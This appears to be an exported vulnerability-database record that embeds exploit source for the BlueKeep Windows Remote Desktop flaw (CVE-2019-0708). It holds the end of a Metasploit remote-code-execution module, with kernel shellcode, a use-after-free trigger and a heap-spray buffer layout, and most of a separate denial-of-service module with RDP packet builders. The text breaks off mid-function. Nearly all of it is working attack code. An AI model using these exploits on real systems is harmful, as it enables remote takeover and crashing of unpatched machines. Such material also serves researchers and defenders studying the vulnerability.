SystemArgument1, SystemArgument2, 0);  \n; SystemArgument1 is second argument in usermode code (rdx)  \n; SystemArgument2 is third argument in usermode code (r8)  \nlea rcx, [rbp+#{data_kapc_offset}]  \n;xor edx, edx ; no need to set it here  \n;xor r8, r8 ; no need to set it here  \nxor r9, r9  \nmov edi, #{keinsertqueueapc_hash}  \ncall win_api_direct  \nadd rsp, 0x40  \n; if insertion failed, try next thread  \ntest eax, eax  \njz _insert_queue_apc_loop  \n  \nmov rax, [rbp+#{data_kapc_offset}+0x10] ; get KAPC.ApcListEntry  \n; EPROCESS pointer 8 bytes  \n; InProgressFlags 1 byte  \n; KernelApcPending 1 byte  \n; if success, UserApcPending MUST be 1  \ncmp byte [rax+0x1a], 1  \nje _insert_queue_apc_done  \n  \n; manual remove list without lock  \nmov [rax], rax  \nmov [rax+8], rax  \njmp _insert_queue_apc_loop  \n  \n_insert_queue_apc_done:  \n; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.  \n  \n_r3_to_r0_done:  \npop rax  \npop rbx  \npop rsi  \npop rdi  \npop r14  \npop r15  \nret  \n  \n;========================================================================  \n; Call function in specific module  \n;  \n; All function arguments are passed as calling normal function with extra register arguments  \n; Extra Arguments: r15 = module pointer  \n; edi = hash of target function name  \n;========================================================================  \nwin_api_direct:  \ncall get_proc_addr  \njmp rax  \n  \n  \n;========================================================================  \n; Get function address in specific module  \n;  \n; Arguments: r15 = module pointer  \n; edi = hash of target function name  \n; Return: eax = offset  \n;========================================================================  \nget_proc_addr:  \n; Save registers  \npush rbx  \npush rcx  \npush rsi ; for using calc_hash  \n  \n; use rax to find EAT  \nmov eax, dword [r15+60] ; Get PE header e_lfanew  \nmov eax, dword [r15+rax+136] ; Get export tables RVA  \n  \nadd rax, r15  \npush rax ; save EAT  \n  \nmov ecx, dword [rax+24] ; NumberOfFunctions  \nmov ebx, dword [rax+32] ; FunctionNames  \nadd rbx, r15  \n  \n_get_proc_addr_get_next_func:  \n; When we reach the start of the EAT (we search backwards), we hang or crash  \ndec ecx ; decrement NumberOfFunctions  \nmov esi, dword [rbx+rcx*4] ; Get rva of next module name  \nadd rsi, r15 ; Add the modules base address  \n  \ncall calc_hash  \n  \ncmp eax, edi ; Compare the hashes  \njnz _get_proc_addr_get_next_func ; try the next function  \n  \n_get_proc_addr_finish:  \npop rax ; restore EAT  \nmov ebx, dword [rax+36]  \nadd rbx, r15 ; ordinate table virtual address  \nmov cx, word [rbx+rcx*2] ; desired functions ordinal  \nmov ebx, dword [rax+28] ; Get the function addresses table rva  \nadd rbx, r15 ; Add the modules base address  \nmov eax, dword [rbx+rcx*4] ; Get the desired functions RVA  \nadd rax, r15 ; Add the modules base address to get the functions actual VA  \n  \npop rsi  \npop rcx  \npop rbx  \nret  \n  \n;========================================================================  \n; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.  \n;  \n; Argument: rsi = string to hash  \n; Clobber: rsi  \n; Return: eax = hash  \n;========================================================================  \ncalc_hash:  \npush rdx  \nxor eax, eax  \ncdq  \n_calc_hash_loop:  \nlodsb ; Read in the next byte of the ASCII string  \nror edx, 13 ; Rotate right our hash value  \nadd edx, eax ; Add the next byte of the string  \ntest eax, eax ; Stop when found NULL  \njne _calc_hash_loop  \nxchg edx, eax  \npop rdx  \nret  \n  \n  \n; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.  \n; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().  \n; Moreover, there is no lock when calling KernelApcRoutine.  \n; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.  \n;  \n; VOID KernelApcRoutine(  \n; IN PKAPC Apc,  \n; IN PKNORMAL_ROUTINE *NormalRoutine,  \n; IN PVOID *NormalContext,  \n; IN PVOID *SystemArgument1,  \n; IN PVOID *SystemArgument2)  \nkernel_kapc_routine:  \npush rbp  \npush rbx  \npush rdi  \npush rsi  \npush r15  \n  \nmov rbp, [r8] ; *NormalContext is our data area pointer  \n  \nmov r15, [rbp+#{data_nt_kernel_addr_offset}]  \npush rdx  \npop rsi ; mov rsi, rdx  \nmov rbx, r9  \n  \n;======================================  \n; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)  \n;======================================  \nxor eax, eax  \nmov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)  \n; rdx is already address of baseAddr  \nmov [rdx], rax ; baseAddr = 0  \nmov ecx, eax  \nnot rcx ; ProcessHandle = -1  \nmov r8, rax ; ZeroBits  \nmov al, 0x40 ; eax = 0x40  \npush rax ; PAGE_EXECUTE_READWRITE = 0x40  \nshl eax, 6 ; eax = 0x40 << 6 = 0x1000  \npush rax ; MEM_COMMIT = 0x1000  \n; reuse r9 for address of RegionSize  \nmov [r9], rax ; RegionSize = 0x1000  \nsub rsp, 0x20 ; shadow stack  \nmov edi, #{zwallocatevirtualmemory_hash}  \ncall win_api_direct  \nadd rsp, 0x30  \n  \n; check error  \ntest eax, eax  \njnz _kernel_kapc_routine_exit  \n  \n;======================================  \n; copy userland payload  \n;======================================  \nmov rdi, [rsi]  \n  \n;--------------------------- HACK IN EGG USER ---------  \n  \npush rdi  \n  \nlea rsi, [rel shellcode_start]  \nmov rdi, 0x#{USERMODE_EGG.to_s(16)}  \n  \n_find_user_egg_loop:  \nsub rsi, 0x#{CHUNK_SIZE.to_s(16)}  \nmov rax, [rsi - 8]  \ncmp rax, rdi  \njnz _find_user_egg_loop  \n  \n_inner_find_user_egg_loop:  \ninc rsi  \nmov rax, [rsi - 8]  \ncmp rax, rdi  \njnz _inner_find_user_egg_loop  \n  \npop rdi  \n;--------------------------- END HACK EGG USER ------------  \n  \nmov ecx, 0x380 ; fix payload size to 0x380 bytes  \n  \nrep movsb  \n  \n;======================================  \n; find CreateThread address (in kernel32.dll)  \n;======================================  \nmov rax, [rbp+#{data_peb_addr_offset}]  \nmov rax, [rax + 0x18] ; PEB->Ldr  \nmov rax, [rax + 0x20] ; InMemoryOrder list  \n  \n;lea rsi, [rcx + rdx] ; rsi = ThreadListHead address  \n;mov rbx, rsi ; use rbx for iterating thread  \n_find_kernel32_dll_loop:  \nmov rax, [rax] ; first one always be executable  \n; offset 0x38 (WORD) => must be 0x40 (full name len c:\\windows\\system32\\kernel32.dll)  \n; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll)  \n; offset 0x50 => is name  \n; offset 0x20 => is dllbase  \n;cmp word [rax+0x38], 0x40  \n;jne _find_kernel32_dll_loop  \ncmp word [rax+0x48], 0x18  \njne _find_kernel32_dll_loop  \n  \nmov rdx, [rax+0x50]  \n; check only \"32\" because name might be lowercase or uppercase  \ncmp dword [rdx+0xc], 0x00320033 ; 3\\x002\\x00  \njnz _find_kernel32_dll_loop  \n  \n;int3  \nmov r15, [rax+0x20]  \nmov edi, #{createthread_hash}  \ncall get_proc_addr  \n  \n; save CreateThread address to SystemArgument1  \nmov [rbx], rax  \n  \n_kernel_kapc_routine_exit:  \nxor ecx, ecx  \n; clear queueing kapc flag, allow other hijacked system call to run shellcode  \nmov byte [rbp+#{data_queueing_kapc_offset}], cl  \n; restore IRQL to APC_LEVEL  \nmov cl, 1  \nmov cr8, rcx  \n  \npop r15  \npop rsi  \npop rdi  \npop rbx  \npop rbp  \nret  \n  \nuserland_start_thread:  \n; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)  \nxchg rdx, rax ; rdx is CreateThread address passed from kernel  \nxor ecx, ecx ; lpThreadAttributes = NULL  \npush rcx ; lpThreadId = NULL  \npush rcx ; dwCreationFlags = 0  \nmov r9, rcx ; lpParameter = NULL  \nlea r8, [rel userland_payload] ; lpStartAddr  \nmov edx, ecx ; dwStackSize = 0  \nsub rsp, 0x20  \ncall rax  \nadd rsp, 0x30  \nret  \n  \nuserland_payload:  \n^  \n  \n[  \nKERNELMODE_EGG,  \nassemble_with_fixups(asm)  \n].pack('<Qa*')  \nend  \n  \ndef create_free_trigger(chan_user_id, chan_id)  \n# malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)  \nvprint_status(\"Creating free trigger for user #{chan_user_id} on channel #{chan_id}\")  \n# The extra bytes on the end of the body is what causes the bad things to happen  \nbody = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\" + \"\\x00\" * 22  \nrdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)  \nend  \n  \ndef create_exploit_channel_buffer(target_addr)  \noverspray_addr = target_addr + 0x2000  \nshellcode_vtbl = target_addr + HEADER_SIZE  \nmagic_value1 = overspray_addr + 0x810  \nmagic_value2 = overspray_addr + 0x48  \nmagic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE  \n  \n# first 0x38 bytes are used by DATA PDU packet  \n# exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE  \n# http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm  \n[  \n[  \n# SystemResourceList (2 pointers, each 8 bytes)  \n# Pointer to OWNER_ENTRY (8 bytes)  \n# ActiveCount (SHORT, 2 bytes)  \n# Flag (WORD, 2 bytes)  \n# Padding (BYTE[4], 4 bytes) x64 only  \n0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)  \n0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)  \nmagic_value2, # OwnerThread (ULONG, 8 bytes)  \nmagic_value2, # TableSize (ULONG, 8 bytes)  \n0x0, # ActiveEntries (DWORD, 4 bytes)  \n0x0, # ContenttionCount (DWORD, 4 bytes)  \n0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)  \n0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)  \n0x0, # Reserved2 (PVOID, 8 bytes) x64 only  \nmagic_value2, # Address (PVOID, 8 bytes)  \n0x0, # SpinLock (UINT_PTR, 8 bytes)  \n].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),  \n[  \nmagic_value2, # SystemResourceList (2 pointers, each 8 bytes)  \nmagic_value2, # --------------------  \n0x0, # Pointer to OWNER_ENTRY (8 bytes)  \n0x0, # ActiveCount (SHORT, 2 bytes)  \n0x0, # Flag (WORD, 2 bytes)  \n0x0, # Padding (BYTE[4], 4 bytes) x64 only  \n0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)  \n0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)  \nmagic_value2, # OwnerThread (ULONG, 8 bytes)  \nmagic_value2, # TableSize (ULONG, 8 bytes)  \n0x0, # ActiveEntries (DWORD, 4 bytes)  \n0x0, # ContenttionCount (DWORD, 4 bytes)  \n0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)  \n0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)  \n0x0, # Reserved2 (PVOID, 8 bytes) x64 only  \nmagic_value2, # Address (PVOID, 8 bytes)  \n0x0, # SpinLock (UINT_PTR, 8 bytes)  \n].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),  \n[  \n0x1F, # ClassOffset (DWORD, 4 bytes)  \n0x0, # bindStatus (DWORD, 4 bytes)  \n0x72, # lockCount1 (QWORD, 8 bytes)  \nmagic_value3, # connection (QWORD, 8 bytes)  \nshellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)  \n0x5, # channelClass (DWORD, 4 bytes)  \n\"MS_T120\\x00\".encode('ASCII'), # channelName (BYTE[8], 8 bytes)  \n0x1F, # channelIndex (DWORD, 4 bytes)  \nmagic_value1, # channels (QWORD, 8 bytes)  \nmagic_value1, # connChannelsAddr (POINTER, 8 bytes)  \nmagic_value1, # list1 (QWORD, 8 bytes)  \nmagic_value1, # list1 (QWORD, 8 bytes)  \nmagic_value1, # list2 (QWORD, 8 bytes)  \nmagic_value1, # list2 (QWORD, 8 bytes)  \n0x65756c62, # inputBufferLen (DWORD, 4 bytes)  \n0x7065656b, # inputBufferLen (DWORD, 4 bytes)  \nmagic_value1, # connResrouce (QWORD, 8 bytes)  \n0x65756c62, # lockCount158 (DWORD, 4 bytes)  \n0x7065656b, # dword15C (DWORD, 4 bytes)  \n].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')  \n].join('')  \nend  \n  \nend  \n`\n",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://packetstormsecurity.com/files/download/154579/cve_2019_0708_bluekeep_rce.rb.txt",
        "vhref": "https://vulners.com/packetstorm/PACKETSTORM:154579"
    },
    {
        "lastseen": "2020-04-01T19:04:33",
        "bulletinFamily": "exploit",
        "description": "\nMicrosoft Windows Remote Desktop - BlueKeep Denial of Service (Metasploit)",
        "modified": "2019-07-15T00:00:00",
        "published": "2019-07-15T00:00:00",
        "id": "EXPLOITPACK:C90C58C22E53621B5A2A2AAEBCDF2EBC",
        "href": "",
        "title": "Microsoft Windows Remote Desktop - BlueKeep Denial of Service (Metasploit)",
        "type": "exploitpack",
        "sourceData": "# Exploit Title: Bluekeep Denial of Service (metasploit module)\n# Shodan Dork: port:3389\n# Date: 07/14/2019\n# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)\n# Vendor Homepage: https://microsoft.com\n# Version: all affected RDP services by cve-2019-0708\n# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)\n# CVE : 2019-0708\n\n# I just modified the initial metasploit module for this vuln to produce a denial of service attack.\n\n##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n  Rank = NormalRanking\n\n  include Msf::Auxiliary::Dos\n  include Msf::Auxiliary::Scanner\n  include Msf::Exploit::Remote::Tcp\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',\n      'Description'    => %q{\n        This module checks a range of hosts for the CVE-2019-0708 vulnerability\n        by binding the MS_T120 channel outside of its normal slot and sending\n        DoS packets.\n      },\n      'Author'         =>\n      [\n        'National Cyber Security Centre', # Discovery\n        'JaGoTu',                         # Module\n        'zerosum0x0',                     # Module\n        'Tom Sellers',                    # TLS support and documented packets\n        'RAMELLA Sebastien'               # Denial of service module\n      ],\n      'References'     =>\n      [\n        [ 'CVE', '2019-0708' ],\n        [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]\n      ],\n      'DisclosureDate' => '2019-05-14',\n      'License'        => MSF_LICENSE,\n      'Notes'          =>\n      {\n        'Stability' => [ CRASH_OS_DOWN ],\n        'AKA'       => ['BlueKeep']\n      }\n    ))\n\n    register_options(\n      [\n        OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),\n        OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),\n        OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),\n        OptString.new('RDP_USER', [ false, 'The username to report during connection.']),\n        OptAddressRange.new(\"RHOSTS\", [ true, 'Target address, address range or CIDR identifier']),\n        OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])\n      ]\n    )\n  end\n\n  # ------------------------------------------------------------------------- #\n\n  def bin_to_hex(s)\n    return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)\n  end\n\n  def bytes_to_bignum(bytesIn, order = \"little\")\n    bytes = bin_to_hex(bytesIn)\n    if(order == \"little\")\n      bytes = bytes.scan(/../).reverse.join('')\n    end\n    s = \"0x\" + bytes\n\n    return(s.to_i(16))\n  end\n\n  ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110\n  def int_to_bytestring(daInt, num_chars = nil)\n    unless(num_chars)\n      bits_needed = Math.log(daInt) / Math.log(2)\n      num_chars = (bits_needed / 8.0).ceil\n    end\n    if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])\n      [daInt].pack(pack_code)\n    else\n      a = (0..(num_chars)).map{ | i |\n        (( daInt >> i*8 ) & 0xFF ).chr\n      }.join\n      a[0..-2]                                                                 # Seems legit lol!\n    end\n  end\n\n  def open_connection()\n    begin\n      connect()\n      sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)\n    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e\n      vprint_error(\"Connection error: #{e.message}\")\n      return(false)\n    end\n  \n    return(true)\n  end\n\n  def rsa_encrypt(bignum, rsexp, rsmod)\n    return((bignum ** rsexp) % rsmod)\n  end\n\n  # ------------------------------------------------------------------------- #\n\n  ## Used to abruptly abort scanner for a given host.\n  class RdpCommunicationError < StandardError\n  end\n  \n  ## Define standard RDP constants.\n  class RDPConstants\n    PROTOCOL_RDP = 0\n  end\n\n  DEFAULT_CHANNELS_DEFS =\n  \"\\x04\\x00\\x00\\x00\" +                 # channelCount: 4\n\n  ## Channels definitions consist of a name (8 bytes) and options flags\n  ## (4 bytes). Names are up to 7 ANSI characters with null termination.\n  \"\\x72\\x64\\x70\\x73\\x6e\\x64\\x00\\x00\" + # rdpsnd\n  \"\\x0f\\x00\\x00\\xc0\" +\n  \"\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\\x00\" + # cliprdr\n  \"\\x00\\x00\\xa0\\xc0\" +\n  \"\\x64\\x72\\x64\\x79\\x6e\\x76\\x63\" +     # drdynvc\n  \"\\x00\\x00\\x00\\x80\\xc0\" +\n  \"\\x4d\\x53\\x5f\\x54\\x31\\x32\\x30\" +     # MS_T120\n  \"\\x00\\x00\\x00\\x00\\x00\"\n\n  ## Builds x.224 Data (DT) TPDU - Section 13.7\n  def rdp_build_data_tpdu(data)\n    tpkt_length = data.length + 7\n\n    \"\\x03\\x00\" +                                                               # TPKT Header version 03, reserved 0\n    [tpkt_length].pack(\"S>\") +                                                 # TPKT length\n    \"\\x02\\xf0\" +                                                               # X.224 Data TPDU (2 bytes)\n    \"\\x80\" +                                                                   # X.224 End Of Transmission (0x80)\n    data\n  end\n\n  ## Build the X.224 packet, encrypt with Standard RDP Security as needed.\n  ## Default channel_id = 0x03eb = 1003.\n  def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = \"\\x03\\xeb\", client_info = false, rdp_sec = true)\n    flags = 0\n    flags |= 0b1000 if(rdp_sec)                                                # Set SEC_ENCRYPT\n    flags |= 0b1000000 if(client_info)                                         # Set SEC_INFO_PKT\n\n    pdu = \"\"\n\n    ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1\n    ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.\n    if(client_info || rdp_sec)\n      pdu << [flags].pack(\"S<\")                                                # flags  \"\\x48\\x00\" = SEC_INFO_PKT | SEC_ENCRYPT\n      pdu << \"\\x00\\x00\"                                                        # flagsHi\n    end\n\n    if(rdp_sec)\n      ## Encrypt the payload with RDP Standard Encryption.\n      pdu << rdp_hmac(hmackey, data)[0..7]\n      pdu << rdp_rc4_crypt(rc4enckey, data)\n    else\n      pdu << data\n    end\n\n    user_data_len = pdu.length\n    udl_with_flag = 0x8000 | user_data_len\n\n    pkt =  \"\\x64\"                                                              # sendDataRequest\n    pkt << \"\\x00\\x08\"                                                          # intiator userId (TODO: for a functional client this isn't static)\n    pkt << channel_id                                                          # channelId\n    pkt << \"\\x70\"                                                              # dataPriority\n    pkt << [udl_with_flag].pack(\"S>\")\n    pkt << pdu\n\n    return(rdp_build_data_tpdu(pkt))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471\n  ## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1\n  def rdp_build_share_control_header(type, data, channel_id = \"\\xf1\\x03\")\n    total_len = data.length + 6\n\n    return(\n      [total_len].pack(\"S<\") +                                                 # totalLength - includes all headers\n      [type].pack(\"S<\") +                                                      # pduType - flags 16 bit, unsigned\n      channel_id +                                                             # PDUSource: 0x03f1 = 1009\n      data\n    )\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31\n  ## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2\n  def rdp_build_share_data_header(type, data)\n    uncompressed_len = data.length + 4\n\n    return(\n      \"\\xea\\x03\\x01\\x00\" +                                                     # shareId: 66538\n      \"\\x00\" +                                                                 # pad1\n      \"\\x01\" +                                                                 # streamID: 1\n      [uncompressed_len].pack(\"S<\") +                                          # uncompressedLength - 16 bit, unsigned int\n      [type].pack(\"C\") +                                                       # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2\n      \"\\x00\" +                                                                 # compressedType: 0\n      \"\\x00\\x00\" +                                                             # compressedLength: 0\n      data\n    )\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b\n  ## Virtual Channel PDU 2.2.6.1\n  def rdp_build_virtual_channel_pdu(flags, data)\n    data_len = data.length\n\n    return(\n      [data_len].pack(\"L<\") +                                                  # length\n      [flags].pack(\"L<\") +                                                     # flags\n      data\n    )\n  end\n\n  def rdp_calculate_rc4_keys(client_random, server_random)\n    ## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).\n    preMasterSecret = client_random[0..23] + server_random[0..23]\n\n    ## PreMasterHash(I) = SaltedHash(preMasterSecret, I)\n    ## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).\n    masterSecret = rdp_salted_hash(preMasterSecret, \"A\", client_random,server_random) +  rdp_salted_hash(preMasterSecret, \"BB\", client_random, server_random) + rdp_salted_hash(preMasterSecret, \"CCC\", client_random, server_random)\n\n    ## MasterHash(I) = SaltedHash(MasterSecret, I)\n    ## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).\n    sessionKeyBlob = rdp_salted_hash(masterSecret, \"X\", client_random, server_random) +  rdp_salted_hash(masterSecret, \"YY\", client_random, server_random) + rdp_salted_hash(masterSecret, \"ZZZ\", client_random, server_random)\n\n    ## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).\n    initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)\n\n    ## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).\n    initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)\n\n    macKey = sessionKeyBlob[0..15]\n\n    return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob\n  end\n\n  def rdp_connection_initiation()\n    ## Code to check if RDP is open or not.\n    vprint_status(\"Verifying RDP protocol...\")\n\n    vprint_status(\"Attempting to connect using RDP security\")\n    rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))\n\n    received = sock.get_once(-1, 5)\n\n    ## TODO: fix it.\n    if (received and received.include? \"\\x00\\x12\\x34\\x00\")\n      return(true)\n    end\n\n    return(false)\n  end\n\n  ##  FinalHash(K) = MD5(K + ClientRandom + ServerRandom).\n  def rdp_final_hash(k, client_random_bytes, server_random_bytes)\n    md5 = Digest::MD5.new\n\n    md5 << k\n    md5 << client_random_bytes\n    md5 << server_random_bytes\n\n    return([md5.hexdigest].pack(\"H*\"))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94\n  ## mac_salt_key = \"W\\x13\\xc58\\x7f\\xeb\\xa9\\x10*\\x1e\\xddV\\x96\\x8b[d\"\n  ## data_content = \"\\x12\\x00\\x17\\x00\\xef\\x03\\xea\\x03\\x02\\x00\\x00\\x01\\x04\\x00$\\x00\\x00\\x00\"\n  ## hmac         = rdp_hmac(mac_salt_key, data_content)                       # hexlified: \"22d5aeb486994a0c785dc929a2855923\".\n  def rdp_hmac(mac_salt_key, data_content)\n    sha1 = Digest::SHA1.new\n    md5 = Digest::MD5.new\n\n    pad1 = \"\\x36\" * 40\n    pad2 = \"\\x5c\" * 48\n\n    sha1 << mac_salt_key\n    sha1 << pad1\n    sha1 << [data_content.length].pack('<L')\n    sha1 << data_content\n\n    md5 << mac_salt_key\n    md5 << pad2\n    md5 << [sha1.hexdigest].pack(\"H*\")\n\n    return([md5.hexdigest].pack(\"H*\"))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c\n  ## Parse Server MCS Connect Response PUD - 2.2.1.4\n  def rdp_parse_connect_response(pkt)\n    ptr = 0\n    rdp_pkt = pkt[0x49..pkt.length]\n\n    while(ptr < rdp_pkt.length)\n      header_type = rdp_pkt[ptr..ptr + 1]\n      header_length = rdp_pkt[ptr + 2..ptr + 3].unpack(\"S<\")[0]\n      # vprint_status(\"header: #{bin_to_hex(header_type)}, len: #{header_length}\")\n\n      if(header_type == \"\\x02\\x0c\")\n        # vprint_status(\"Security header\")\n\n        server_random = rdp_pkt[ptr + 20..ptr + 51]\n        public_exponent = rdp_pkt[ptr + 84..ptr + 87]\n\n        modulus = rdp_pkt[ptr + 88..ptr + 151]\n        # vprint_status(\"modulus_old: #{bin_to_hex(modulus)}\")\n\n        rsa_magic = rdp_pkt[ptr + 68..ptr + 71]\n        if(rsa_magic != \"RSA1\")\n          print_error(\"Server cert isn't RSA, this scenario isn't supported (yet).\")\n          raise RdpCommunicationError\n        end\n        # vprint_status(\"RSA magic: #{rsa_magic}\")\n        \n        bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack(\"L<\")[0] - 8\n        vprint_status(\"RSA #{bitlen}-bits\")\n\n        modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]\n        # vprint_status(\"modulus_new: #{bin_to_hex(modulus)}\")\n      end\n\n      ptr += header_length\n    end\n\n    # vprint_status(\"SERVER_MODULUS:  #{bin_to_hex(modulus)}\")\n    # vprint_status(\"SERVER_EXPONENT: #{bin_to_hex(public_exponent)}\")\n    # vprint_status(\"SERVER_RANDOM:   #{bin_to_hex(server_random)}\")\n\n    rsmod = bytes_to_bignum(modulus)\n    rsexp = bytes_to_bignum(public_exponent)\n    rsran = bytes_to_bignum(server_random)\n\n    vprint_status(\"MODULUS:  #{bin_to_hex(modulus)} - #{rsmod.to_s}\")\n    vprint_status(\"EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}\")\n    vprint_status(\"SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}\")\n\n    return rsmod, rsexp, rsran, server_random, bitlen\n  end\n\n  def rdp_rc4_crypt(rc4obj, data)\n    rc4obj.encrypt(data)\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f\n  ## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))\n  def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)\n    sha1 = Digest::SHA1.new\n    md5 = Digest::MD5.new\n\n    sha1 << i_bytes\n    sha1 << s_bytes\n    sha1 << client_random_bytes\n    sha1 << server_random_bytes\n\n    md5 << s_bytes\n    md5 << [sha1.hexdigest].pack(\"H*\")\n\n    return([md5.hexdigest].pack(\"H*\"))\n  end\n\n  def rdp_recv()\n    buffer_1 = sock.get_once(4, 5)\n    raise RdpCommunicationError unless buffer_1                                # nil due to a timeout\n\n    buffer_2 = sock.get_once(buffer_1[2..4].unpack(\"S>\")[0], 5)\n    raise RdpCommunicationError unless buffer_2                                # nil due to a timeout\n\n    vprint_status(\"Received data: #{bin_to_hex(buffer_1 + buffer_2)}\")\n    return(buffer_1 + buffer_2)\n  end\n\n  def rdp_send(data)\n    vprint_status(\"Send data: #{bin_to_hex(data)}\")\n\n    sock.put(data)\n  end\n\n  def rdp_sendrecv(data)\n    rdp_send(data)\n\n    return(rdp_recv())\n  end\n\n  # ------------------------------------------------------------------------- #\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10\n  ## Client X.224 Connect Request PDU - 2.2.1.1\n  def pdu_negotiation_request(user_name = \"\", requested_protocols = RDPConstants::PROTOCOL_RDP)\n    ## Blank username is valid, nil is random.\n    user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)\n    tpkt_len = user_name.length + 38\n    x224_len = user_name.length + 33\n\n    return(\n      \"\\x03\\x00\" +                                                             # TPKT Header version 03, reserved 0\n      [tpkt_len].pack(\"S>\") +                                                  # TPKT length: 43\n      [x224_len].pack(\"C\") +                                                   # X.224 LengthIndicator\n      \"\\xe0\" +                                                                 # X.224 Type: Connect Request\n      \"\\x00\\x00\" +                                                             # dst reference\n      \"\\x00\\x00\" +                                                             # src reference\n      \"\\x00\" +                                                                 # class and options\n      \"\\x43\\x6f\\x6f\\x6b\\x69\\x65\\x3a\\x20\\x6d\\x73\\x74\\x73\\x68\\x61\\x73\\x68\\x3d\" + # cookie - literal 'Cookie: mstshash='\n      user_name +                                                              # Identifier \"username\"\n      \"\\x0d\\x0a\" +                                                             # cookie terminator\n      \"\\x01\\x00\" +                                                             # Type: RDP Negotiation Request (0x01)\n      \"\\x08\\x00\" +                                                             # Length\n      [requested_protocols].pack('L<')                                         # 